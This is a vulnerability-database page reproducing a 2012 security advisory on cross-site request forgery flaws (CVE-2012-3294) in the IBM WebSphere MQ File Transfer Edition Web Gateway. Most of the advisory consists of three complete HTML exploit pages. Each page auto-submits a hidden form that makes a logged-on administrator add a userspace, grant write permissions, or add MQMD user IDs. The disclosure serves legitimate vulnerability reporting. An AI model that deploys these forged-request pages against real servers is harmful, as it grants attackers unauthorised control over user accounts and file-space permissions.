IBM WebSphere MQ File Transfer Edition Web Gateway CSRF

🗓️ 13 Aug 2012 00:00:00Reported by Nir ValtmanType

packetstorm🔗 packetstormsecurity.com👁 58 Views

Malicious user can add userspace, change permissions, and add MQMD user IDs via CSRF attack in IBM WebSphere MQ File Transfer Edition Web Gatewa

Reporter	Title	Published	Views	Family All 7
IBM Security Bulletins	Security Bulletin: IBM WebSphere MQ File Transfer Edition Web Gateway vulnerable to CSRF attack (CVE-2012-3294)	25 Sep 202219:56	–	ibm
Circl	CVE-2012-3294	13 Aug 201200:00	–	circl
CVE	CVE-2012-3294	17 Aug 201210:00	–	cve
Cvelist	CVE-2012-3294	17 Aug 201210:00	–	cvelist
EUVD	EUVD-2012-3272	7 Oct 202500:30	–	euvd
NVD	CVE-2012-3294	17 Aug 201210:31	–	nvd
Prion	Cross site request forgery (csrf)	17 Aug 201210:31	–	prion

`*Exploit Author:* Nir Valtman  
  
*Description:* Malicious user is able to add userspace, change permissions  
on existing userspace and add MQMD (MQ Message Descriptor) user IDs. All of  
the these vulnerabilities can be exploited using a CSRF (Cross Site Request  
Forgery) attack.  
Few days ago the CVE has  
been published here<http://www-01.ibm.com/support/docview.wss?uid=swg21607482>  
  
*  
*  
*Affected Platforms: *Version 7.0.4 and all previous versions of WebSphere MQ  
File Transfer Edition<http://publib.boulder.ibm.com/infocenter/wmqfte/v7r0/index.jsp>running  
on all platforms are affected.  
* *  
*  
*  
*Exploit Details:*  
*1. CSRF To add user and define his quota on a userspace*  
I created the following HTML page and then opened it by a logged-on user:  
  
<html>  
  
<head></head>  
  
<body>  
  
<form id="frm" method="post"  
action="https://*[ip-address-and-port]* /wmqfteconsole/Filespaces"  
  
<input type="hidden"  
name="nirvcsrf" value="junk" />  
  
<input type="hidden"  
name="name" value="zzzzzz" />  
  
<input type="hidden"  
name="quota" value="15" />  
  
<input type="hidden"  
name="id" value="NewFileSpace" />  
  
  
  
</form>  
  
<script>  
  
document.frm.submit();  
  
</script>  
  
</body>  
</html>  
See the following screenshot, which follows the execution of CSRF attack:  
[image: Inline image 1]  
  
*2. CSRF to add permissions on file spaces:*  
I created the following HTML page and then opened it by a logged-on user:  
  
<html>  
  
<head></head>  
  
<body>  
  
<form id="frm" method="post"  
action="https://*[ip-address-and-port]*  
/wmqfteconsole/FileSpacePermisssions"  
  
<input type="hidden"  
name="nirvcsrf" value="junk" />  
  
<input type="hidden"  
name="user" value="bodek2" />  
  
<input type="hidden"  
name="write" value="authorized" />  
  
<input type="hidden"  
name="id" value="zzzzzz_TEMP_PERMISSIONS" />  
  
  
  
</form>  
  
<script>  
  
document.frm.submit();  
  
</script>  
  
</body>  
</html>  
  
See the following screenshot, which follows the execution of CSRF attack:  
[image: Inline image 2]  
  
*2. CSRF to add MQMD user id:*  
I created the following HTML page and then opened it by a logged-on user:  
  
<html>  
  
<head></head>  
  
<body>  
  
<form id="frm" method="post"  
action="https://*[ip-address-and-port]*/wmqfteconsole/UploadUsers"  
  
<input type="hidden"  
name="nirvcsrf" value="junk" />  
  
<input type="hidden"  
name="userID" value="csrfUserId" />  
  
<input type="hidden"  
name="mqmdUserID" value="userIdTest" />  
  
<input type="hidden"  
name="id" value="NewUploadUser" />  
  
  
  
</form>  
  
<script>  
  
document.frm.submit();  
  
</script>  
  
</body>  
  
</html>  
  
See the following screenshot, which follows the execution of CSRF attack:  
[image: Inline image 3]  
  
Best Regards,  
Nir Valtman  
  
`

13 Aug 2012 00:00Current

EPSS0.00414